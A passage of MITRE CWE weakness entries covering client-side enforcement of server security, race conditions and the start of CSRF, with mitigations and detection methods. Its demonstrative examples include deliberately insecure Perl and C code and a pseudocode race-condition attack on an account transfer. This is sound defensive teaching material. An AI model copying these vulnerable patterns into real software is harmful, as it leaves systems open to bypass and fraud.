CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.471Modification of Assumed-Immutable Data (MAID)
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1012Cross Cutting
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Architecture and DesignConsider a product that consists of two or more processes or nodes that must interact closely, such as a client/server model. If the product uses protection schemes in the client in order to defend from attacks against the server, and the server does not use the same schemes, then an attacker could modify the client in a way that bypasses those schemes. This is a fundamental design flaw that is primary to many weaknesses.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Availability

Technical Impact: Bypass Protection Mechanism; DoS: Crash, Exit, or Restart

Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

(good code)
Example Language: Perl 
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
writeSocket($sock, "AUTH $username $password\n");
$resp = readSocket($sock);
if ($resp eq "success") {

# username/pass is valid, go ahead and update the info!
writeSocket($sock, "CHANGE-ADDRESS $username $address\n";
}
else {
print "ERROR: Invalid Authentication!\n";
}

SERVER-SIDE (server.pl):

(bad code)
 
$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
($username, $pass) = split(/\s+/, $args, 2);
$result = AuthenticateUser($username, $pass);
writeSocket($sock, "$result\n");
# does not close the socket on failure; assumes the

# user will try again
}
elsif ($cmd eq "CHANGE-ADDRESS") {
if (validateAddress($args)) {
$res = UpdateDatabaseRecord($username, "address", $args);
writeSocket($sock, "SUCCESS\n");
}
else {
writeSocket($sock, "FAILURE -- address is malformed\n");
}
}

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.

+ Observed Examples
ReferenceDescription
ASP program allows upload of .asp files by bypassing client-side checks.
steganography products embed password information in the carrier file, which can be extracted from a modified client.
steganography products embed password information in the carrier file, which can be extracted from a modified client.
client allows server to modify client's configuration and overwrite arbitrary files.
+ Potential Mitigations

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7532009 Top 25 - Porous Defenses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.975SFP Secondary Cluster: Architecture
+ Notes

Research Gap

Server-side enforcement of client-side security is conceptually likely to occur, but some architectures might have these strong dependencies as part of legitimate behavior, such as thin clients.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 23, "Client-Side Security Is an Oxymoron" Page 687. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Time_of_Introduction
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2009-10-29CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description
2010-02-16CWE Content TeamMITRE
updated References
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-12-13CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Enabling_Factors_for_Exploitation, Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Client-Side Enforcement of Server-Side Security
2009-01-12Design Principle Violation: Client-Side Enforcement of Server-Side Security

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Weakness ID: 362
Abstraction: Class
Structure: Simple
Status: Draft
Presentation Filter:
+ Description
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
+ Extended Description

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.

A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

  • Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.
  • Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.691Insufficient Control Flow Management
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.364Signal Handler Race Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.366Race Condition within a Thread
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.367Time-of-check Time-of-use (TOCTOU) Race Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.368Context Switching Race Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.421Race Condition During Access to Alternate Channel
ParentOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.689Permission Race Condition During Resource Copy
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1223Race Condition for Write-Once Attributes
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1298Hardware Logic Contains Race Conditions
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.367Time-of-check Time-of-use (TOCTOU) Race Condition
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Sometimes Prevalent)

C++ (Sometimes Prevalent)

Java (Sometimes Prevalent)

Technologies

Class: Mobile (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Resource Consumption (Other)

When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion (CWE-400).
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Instability

When a race condition allows multiple control flows to access a resource simultaneously, it might lead the program(s) into unexpected states, possibly resulting in a crash.
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Read Application Data

When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

(bad code)
Example Language: Perl 
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();

if ($transfer_amount < 0) {
FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");

A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Suppose the balance is initially 100.00. An attack could be constructed as follows:

(attack code)
Example Language: Other 
In the following pseudocode, the attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Example 2

The following function attempts to acquire a lock in order to perform operations on a shared resource.

(bad code)
Example Language:
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);

/* access shared resource */


pthread_mutex_unlock(mutex);
}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

(good code)
Example Language:
int f(pthread_mutex_t *mutex) {
int result;

result = pthread_mutex_lock(mutex);
if (0 != result)
return result;


/* access shared resource */


return pthread_mutex_unlock(mutex);
}

Example 3

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

+ Observed Examples
ReferenceDescription
chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys
Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.
Race condition during initialization triggers a buffer overflow.
Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock.
chain: race condition triggers NULL pointer dereference
Race condition in library function could cause data to be sent to the wrong process.
Race condition in file parser leads to heap corruption.
chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory.
chain: race condition for an argument value, possibly resulting in NULL dereference
chain: race condition might allow resource to be released before operating on it, leading to NULL dereference
+ Potential Mitigations

Phase: Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Phase: Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

Phase: Architecture and Design

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.

Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

Phase: Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

Phase: Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Phase: Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Phase: Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Phase: Implementation

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Phase: Implementation

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
+ Detection Methods

Black Box

Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.

White Box

Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

Effectiveness: Moderate

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Framework-based Fuzzer
Cost effective for partial coverage:
  • Fuzz Tester
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.852The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8672011 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.882CERT C++ Secure Coding Section 14 - Concurrency (CON)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.988SFP Secondary Cluster: Race Condition Window
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1142SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
+ Notes

Maintenance

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.

Research Gap

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Research Gap

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

Research Gap

From a classification/taxonomy perspective, the relationships between concurrency and program state need closer investigation and may be useful in organizing related issues.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERRace Conditions
The CERT Oracle Secure Coding Standard for Java (2011)VNA03-JDo not assume that a group of calls to independently atomic methods is atomic
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
[REF-349] Andrei Alexandrescu. "volatile - Multithreaded Programmer's Best Friend". Dr. Dobb's. 2008-02-01. <http://www.ddj.com/cpp/184403766>.
[REF-350] Steven Devijver. "Thread-safe webapps using Spring". <http://www.javalobby.org/articles/thread-safe/index.jsp>.
[REF-351] David Wheeler. "Prevent race conditions". 2007-10-04. <http://www.ibm.com/developerworks/library/l-sprace.html>.
[REF-352] Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux". 1995-09. <http://www.cs.ucdavis.edu/research/tech-reports/1995/CSE-95-9.pdf>.
[REF-353] David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003-03-03. <http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html>.
[REF-354] Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". 2002-04. <http://www.blakewatts.com/namedpipepaper.html>.
[REF-355] Roberto Paleari, Davide Marrone, Danilo Bruschi and Mattia Monga. "On Race Vulnerabilities in Web Applications". <http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf>.
[REF-356] "Avoiding Race Conditions and Insecure File Operations". Apple Developer Connection. <http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html>.
[REF-357] Johannes Ullrich. "Top 25 Series - Rank 25 - Race Conditions". SANS Software Security Institute. 2010-03-26. <http://blogs.sans.org/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19PLOVER
+ Contributions
Contribution DateContributorOrganization
2010-04-30Martin SeborCisco Systems, Inc.
Provided Demonstrative Example
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships, Research_Gaps
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References
2010-09-27CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, References, Research_Gaps, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Race Conditions
2010-12-13Race Condition

CWE-352: Cross-Site Request Forgery (CSRF)

Weakness ID: 352
Abstraction: Compound
Structure: Composite
Status: Stable
Presentation Filter:
+ Description
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.
+ Composite Components
NatureTypeIDName
RequiresBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.346Origin Validation Error
RequiresClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.441Unintended Proxy or Intermediary ('Confused Deputy')
RequiresClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.642External Control of Critical State Data
RequiresBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.613Insufficient Session Expiration
